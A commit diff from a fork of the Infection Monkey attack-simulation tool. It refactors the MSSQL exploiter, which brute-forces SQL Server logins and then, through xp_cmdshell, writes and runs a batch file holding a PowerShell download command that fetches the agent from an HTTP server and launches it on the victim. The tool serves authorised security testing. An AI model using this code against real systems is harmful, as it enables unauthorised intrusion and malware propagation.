forked from p15670423/monkey
Merge pull request #2020 from guardicore/2018-mangled-mssql-dropper-command
2018 mangled mssql dropper command
This commit is contained in:
commit
fd0a197b7f
|
@ -91,6 +91,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- Incorrect line number in the telemetry overview window on the Map page. #1850
|
||||
- Automatic jumping to the bottom in the telemetry overview windows. #1850
|
||||
- 2-second delay when the Island server starts, and it's not running on AWS. #1636
|
||||
- Malformed MSSQL agent launch command. #2018
|
||||
|
||||
### Security
|
||||
- Change SSH exploiter so that it does not set the permissions of the agent
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
import logging
|
||||
import os
|
||||
from pathlib import PurePath
|
||||
from pathlib import PureWindowsPath
|
||||
from time import sleep
|
||||
|
||||
import pymssql
|
||||
|
@ -10,7 +9,6 @@ from common.utils.exceptions import FailedExploitationError
|
|||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.transport import LockedHTTPServer
|
||||
|
@ -31,27 +29,20 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
# Temporary file that saves commands for monkey's download and execution.
|
||||
TMP_FILE_NAME = "tmp_monkey.bat"
|
||||
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
|
||||
TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir"
|
||||
|
||||
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
|
||||
|
||||
XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "'
|
||||
XP_CMDSHELL_COMMAND_END = '"'
|
||||
EXPLOIT_COMMAND_PREFIX = "<nul set /p="
|
||||
EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
|
||||
CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
|
||||
# Single quotes are escaped in SQL by using two of them.
|
||||
# Example: 'It ain''t over ''til it''s over'
|
||||
MONKEY_DOWNLOAD_COMMAND = (
|
||||
"powershell (new-object System.Net.WebClient)."
|
||||
"DownloadFile(^'{http_path}^' , ^'{dst_path}^')"
|
||||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||
)
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.cursor = None
|
||||
self.agent_http_path = None
|
||||
self.payload_file_path = os.path.join(
|
||||
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
|
||||
)
|
||||
self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
"""
|
||||
|
@ -82,15 +73,11 @@ class MSSQLExploiter(HostExploiter):
|
|||
try:
|
||||
# Create dir for payload
|
||||
self.create_temp_dir()
|
||||
self.create_empty_payload_file()
|
||||
|
||||
http_thread = self.start_monkey_server(monkey_path_on_victim)
|
||||
self.upload_monkey(monkey_path_on_victim)
|
||||
MSSQLExploiter._stop_monkey_server(http_thread)
|
||||
|
||||
# Clear payload to pass in another command
|
||||
self.create_empty_payload_file()
|
||||
|
||||
self.run_monkey(monkey_path_on_victim)
|
||||
|
||||
self.remove_temp_dir()
|
||||
|
@ -108,56 +95,57 @@ class MSSQLExploiter(HostExploiter):
|
|||
self.exploit_result.propagation_success = True
|
||||
return self.exploit_result
|
||||
|
||||
def run_payload_file(self):
|
||||
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
|
||||
return self.run_mssql_command(file_running_command)
|
||||
|
||||
def create_temp_dir(self):
|
||||
dir_creation_command = MSSQLLimitedSizePayload(
|
||||
command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
|
||||
)
|
||||
self.run_mssql_command(dir_creation_command)
|
||||
logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}")
|
||||
|
||||
def create_empty_payload_file(self):
|
||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(
|
||||
payload_file_path=self.payload_file_path
|
||||
)
|
||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||
self.run_mssql_command(tmp_file_creation_command)
|
||||
mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
|
||||
self._run_mssql_command(mkdir_command)
|
||||
|
||||
def run_mssql_command(self, mssql_command):
|
||||
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
|
||||
if not array_of_commands:
|
||||
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
|
||||
self.run_mssql_commands(array_of_commands)
|
||||
|
||||
def run_monkey(self, monkey_path_on_victim: PurePath):
|
||||
monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
||||
self.run_mssql_command(monkey_launch_command)
|
||||
def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
||||
self._write_download_command_to_batch_file(monkey_path_on_victim)
|
||||
self.run_payload_file()
|
||||
|
||||
def run_mssql_commands(self, cmds):
|
||||
for cmd in cmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath):
|
||||
agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
||||
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
|
||||
)
|
||||
self._write_command_to_batch_file(agent_download_command)
|
||||
|
||||
def upload_monkey(self, monkey_path_on_victim: PurePath):
|
||||
monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim)
|
||||
def _write_command_to_batch_file(self, command: str):
|
||||
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
|
||||
self._run_mssql_command(write_to_file_command)
|
||||
|
||||
def _run_mssql_command(self, command: str):
|
||||
logger.debug(f"Running command on SQL Server: {command}")
|
||||
|
||||
self.cursor.execute(f"xp_cmdshell '{command}'")
|
||||
self.add_executed_cmd(command)
|
||||
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
|
||||
def run_payload_file(self):
|
||||
self._run_mssql_command(str(self.payload_file_path))
|
||||
|
||||
def run_monkey(self, monkey_path_on_victim: PureWindowsPath):
|
||||
self._write_agent_launch_command_to_batch_file(monkey_path_on_victim)
|
||||
self.run_payload_file()
|
||||
self.add_executed_cmd(monkey_download_command.command)
|
||||
|
||||
def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim):
|
||||
agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
||||
self._write_command_to_batch_file(agent_launch_command)
|
||||
|
||||
def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
|
||||
monkey_args = build_monkey_commandline(
|
||||
self.host, self.current_depth - 1, monkey_path_on_victim
|
||||
)
|
||||
|
||||
return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}"
|
||||
|
||||
def remove_temp_dir(self):
|
||||
# Remove temporary dir we stored payload at
|
||||
tmp_file_removal_command = MSSQLLimitedSizePayload(
|
||||
command="del {}".format(self.payload_file_path)
|
||||
)
|
||||
self.run_mssql_command(tmp_file_removal_command)
|
||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(
|
||||
command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
|
||||
)
|
||||
self.run_mssql_command(tmp_dir_removal_command)
|
||||
self._run_mssql_command(f"del {self.payload_file_path}")
|
||||
self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")
|
||||
|
||||
def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer:
|
||||
def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(monkey_path_on_victim), self.agent_repository
|
||||
)
|
||||
|
@ -168,36 +156,6 @@ class MSSQLExploiter(HostExploiter):
|
|||
http_thread.stop()
|
||||
http_thread.join(LONG_REQUEST_TIMEOUT)
|
||||
|
||||
def write_download_command_to_payload(self, monkey_path_on_victim: PurePath):
|
||||
monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim)
|
||||
self.run_mssql_command(monkey_download_command)
|
||||
return monkey_download_command
|
||||
|
||||
def get_monkey_launch_command(self, monkey_path_on_victim: PurePath):
|
||||
# Form monkey's launch command
|
||||
monkey_args = build_monkey_commandline(
|
||||
self.host, self.current_depth - 1, monkey_path_on_victim
|
||||
)
|
||||
suffix = ">>{}".format(self.payload_file_path)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
return MSSQLLimitedSizePayload(
|
||||
command="{} {} {}".format(monkey_path_on_victim, DROPPER_ARG, monkey_args),
|
||||
prefix=prefix,
|
||||
suffix=suffix,
|
||||
)
|
||||
|
||||
def get_monkey_download_command(self, monkey_path_on_victim: PurePath):
|
||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
||||
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
|
||||
)
|
||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
|
||||
payload_file_path=self.payload_file_path
|
||||
)
|
||||
return MSSQLLimitedSizePayload(
|
||||
command=monkey_download_command, suffix=suffix, prefix=prefix
|
||||
)
|
||||
|
||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
|
@ -255,13 +213,3 @@ class MSSQLExploiter(HostExploiter):
|
|||
raise FailedExploitationError(
|
||||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||
)
|
||||
|
||||
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
super(MSSQLLimitedSizePayload, self).__init__(
|
||||
command=command,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
||||
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
|
||||
)
|
||||
|
|
|
@ -1,64 +0,0 @@
|
|||
import textwrap
|
||||
|
||||
|
||||
class Payload(object):
|
||||
"""
|
||||
Class for defining and parsing a payload (commands with prefixes/suffixes)
|
||||
"""
|
||||
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
self.command = command
|
||||
self.prefix = prefix
|
||||
self.suffix = suffix
|
||||
|
||||
def get_payload(self, command=""):
|
||||
"""
|
||||
Returns prefixed and suffixed command (payload)
|
||||
:param command: Command to suffix/prefix. If no command is passed than objects' property
|
||||
is used
|
||||
:return: prefixed and suffixed command (full payload)
|
||||
"""
|
||||
if not command:
|
||||
command = self.command
|
||||
return "{}{}{}".format(self.prefix, command, self.suffix)
|
||||
|
||||
|
||||
class LimitedSizePayload(Payload):
|
||||
"""
|
||||
Class for defining and parsing commands/payloads
|
||||
"""
|
||||
|
||||
def __init__(self, command, max_length, prefix="", suffix=""):
|
||||
"""
|
||||
:param command: command
|
||||
:param max_length: max length that payload(prefix + command + suffix) can have
|
||||
:param prefix: commands prefix
|
||||
:param suffix: commands suffix
|
||||
"""
|
||||
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
|
||||
self.max_length = max_length
|
||||
|
||||
def is_suffix_and_prefix_too_long(self):
|
||||
return self.payload_is_too_long(self.suffix + self.prefix)
|
||||
|
||||
def split_into_array_of_smaller_payloads(self):
|
||||
if self.is_suffix_and_prefix_too_long():
|
||||
raise Exception(
|
||||
"Can't split command into smaller sub-commands because commands' prefix and "
|
||||
"suffix already "
|
||||
"exceeds required length of command."
|
||||
)
|
||||
|
||||
elif self.command == "":
|
||||
return [self.prefix + self.suffix]
|
||||
wrapper = textwrap.TextWrapper(
|
||||
drop_whitespace=False, width=self.get_max_sub_payload_length()
|
||||
)
|
||||
commands = [self.get_payload(part) for part in wrapper.wrap(self.command)]
|
||||
return commands
|
||||
|
||||
def get_max_sub_payload_length(self):
|
||||
return self.max_length - len(self.prefix) - len(self.suffix)
|
||||
|
||||
def payload_is_too_long(self, command):
|
||||
return len(command) >= self.max_length
|
|
@ -1,38 +0,0 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload, Payload
|
||||
|
||||
|
||||
class TestPayload(TestCase):
|
||||
def test_get_payload(self):
|
||||
test_str1 = "abc"
|
||||
test_str2 = "atc"
|
||||
payload = Payload(command="b", prefix="a", suffix="c")
|
||||
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
|
||||
|
||||
def test_is_suffix_and_prefix_too_long(self):
|
||||
pld_fail = LimitedSizePayload("b", 2, "a", "c")
|
||||
pld_success = LimitedSizePayload("b", 3, "a", "c")
|
||||
assert (
|
||||
pld_fail.is_suffix_and_prefix_too_long()
|
||||
and not pld_success.is_suffix_and_prefix_too_long()
|
||||
)
|
||||
|
||||
def test_split_into_array_of_smaller_payloads(self):
|
||||
test_str1 = "123456789"
|
||||
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array1 = pld1.split_into_array_of_smaller_payloads()
|
||||
test1 = bool(
|
||||
array1[0] == "prefix1234suffix"
|
||||
and array1[1] == "prefix5678suffix"
|
||||
and array1[2] == "prefix9suffix"
|
||||
)
|
||||
|
||||
test_str2 = "12345678"
|
||||
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array2 = pld2.split_into_array_of_smaller_payloads()
|
||||
test2 = bool(
|
||||
array2[0] == "prefix1234suffix" and array2[1] == "prefix5678suffix" and len(array2) == 2
|
||||
)
|
||||
|
||||
assert test1 and test2
|
Loading…
Reference in New Issue